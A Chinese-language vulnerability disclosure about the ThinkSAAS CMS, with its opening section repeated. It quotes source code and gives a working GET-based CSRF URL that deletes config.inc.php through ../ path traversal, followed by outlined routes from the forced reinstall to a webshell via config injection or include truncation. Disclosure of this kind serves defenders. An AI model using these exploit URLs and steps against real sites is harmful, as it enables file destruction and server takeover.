### 简要描述: 后台Getshell本想在XSS漏洞里一起提交的。。。结果我给忘了。 不过后来发现这个洞是Get型的CSRF,利用方便,老少咸宜,在社区CMS中可以说威力无限呀。 ### 详细说明: /app/system/action/plugin.php 83行: ``` case "delete": $apps = $_GET['apps']; $pname = $_GET['pname']; delDir('plugins/'.$apps.'/'.$pname); qiMsg('删除成功!'); break; ``` 获得了GET到的值以后拼接成路径以后传入delDir函数。delDir函数: ``` /** * 删除文件夹和文件夹下所有的文件 * @param string $dir * @return boolean */ function delDir($dir = '') { if (empty ( $dir )) { $dir = rtrim ( RUNTIME_PATH, '/' ); } if (substr ( $dir, - 1 ) == '/') { $dir = rtrim ( $dir, '/' ); } if (! file_exists ( $dir )) return true; if (! is_dir ( $dir ) || is_link ( $dir )) return @unlink ( $dir ); foreach ( scandir ( $dir ) as $item ) { if ($item == '.' || $item == '..') continue; if (! delDir ( $dir . "/" . $item )) { @chmod ( $dir . "/" . $item, 0777 ); if (! delDir ( $dir . "/" . $item )) return false; } ; } return @rmdir ( $dir ); } ``` 就是一个删除的函数。所以,这个CSRF可以直接通过GET方式删除任意文件。 通过插入这个链接即可删除config.inc.php: ```...
### 简要描述: 后台Getshell本想在XSS漏洞里一起提交的。。。结果我给忘了。 不过后来发现这个洞是Get型的CSRF,利用方便,老少咸宜,在社区CMS中可以说威力无限呀。 ### 详细说明: /app/system/action/plugin.php 83行: ``` case "delete": $apps = $_GET['apps']; $pname = $_GET['pname']; delDir('plugins/'.$apps.'/'.$pname); qiMsg('删除成功!'); break; ``` 获得了GET到的值以后拼接成路径以后传入delDir函数。delDir函数: ``` /** * 删除文件夹和文件夹下所有的文件 * @param string $dir * @return boolean */ function delDir($dir = '') { if (empty ( $dir )) { $dir = rtrim ( RUNTIME_PATH, '/' ); } if (substr ( $dir, - 1 ) == '/') { $dir = rtrim ( $dir, '/' ); } if (! file_exists ( $dir )) return true; if (! is_dir ( $dir ) || is_link ( $dir )) return @unlink ( $dir ); foreach ( scandir ( $dir ) as $item ) { if ($item == '.' || $item == '..') continue; if (! delDir ( $dir . "/" . $item )) { @chmod ( $dir . "/" . $item, 0777 ); if (! delDir ( $dir . "/" . $item )) return false; } ; } return @rmdir ( $dir ); } ``` 就是一个删除的函数。所以,这个CSRF可以直接通过GET方式删除任意文件。 通过插入这个链接即可删除config.inc.php: ``` http://localhost/think/index.php?app=system&ac=plugin&ts=delete&apps=1&pname=../../data/config.inc.php ``` 至于怎么getshell,比较简单。删除了config.inc.php以后就可以重装系统了。 1.重装时候插配置文件可以getshell。 2.提供一个新方式: /thinksaas/thinksaas.php中有这么一句: ``` //安装专用变量 $install = isset($_GET['install']) ? $_GET['install'] : 'index'; //安装配置文件,数据库配置判断 if(!is_file('data/config.inc.php')){ include 'install/index.php'; exit; } ``` 如果配置文件不存在则包含install/index.php 看看: ``` <?php defined('IN_TS') or die('Access Denied.'); /* *ThinkSAAS 安装程序 * @copyright (c) 2010-3000 ThinkSAAS All Rights Reserved * @code by QiuJun * @Email:thinksaas@qq.com */ //安装文件的IMG,CSS文件 $skins= 'data/install/skins/'; //进入正题 $title = 'ThinkSAAS安装程序'; require_once 'action/'.$install.'.php'; ``` $install是刚才$_GET到的变量(这个时候GET还没有经过addslashes过滤),直接截断包含,也能够getshell。 ### 漏洞证明: 登录后台后直接访问http://localhost/think/index.php?app=system&ac=plugin&ts=delete&apps=1&pname=../../data/config.inc.php即可删除重装。